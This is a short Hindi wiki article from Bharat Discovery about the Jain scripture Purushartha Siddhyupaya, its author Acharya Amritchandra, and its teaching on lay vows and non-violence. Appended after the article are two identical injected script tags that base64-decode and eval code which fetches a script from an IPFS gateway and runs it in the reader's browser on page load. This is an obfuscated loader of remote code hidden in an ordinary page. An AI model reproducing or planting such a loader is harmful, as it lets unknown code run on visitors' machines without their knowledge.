एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "२"।

पुरुषार्थ सिद्धयुपाय

भारत डिस्कवरी प्रस्तुति
रविन्द्र प्रसाद (चर्चा | योगदान) द्वारा परिवर्तित 07:56, 14 मई 2020 का अवतरण (''''पुरुषार्थ सिद्धयुपाय''' (अंग्रेज़ी: ''Purushartha Siddhyupaya'') प्...' के साथ नया पृष्ठ बनाया)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें

पुरुषार्थ सिद्धयुपाय (अंग्रेज़ी: Purushartha Siddhyupaya) प्रमुख जैन ग्रन्थ है, जिसके रचियता आचार्य अमृत्चंद्र हैं। आचार्य अमृत्चंद्र दसवीं सदी (विक्रम संवत) के प्रमुख दिगम्बर आचार्य थे।

  • पुरुषार्थ सिद्धयुपाय में श्रावक के द्वारा धारण किये जाने वाले अणुव्रत आदि का वर्णन है।
  • इसमें अहिंसा के सिद्धांत को भी समझाया गया है।
  • इस ग्रन्थ में 226 श्लोक हैं, जिसमें से प्रथम श्लोक मंगलाचरण है।
  • पुरुषार्थ सिद्धयुपाय में श्रावक को हिंसा आदि पापों से सावधान किया गया है।
पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>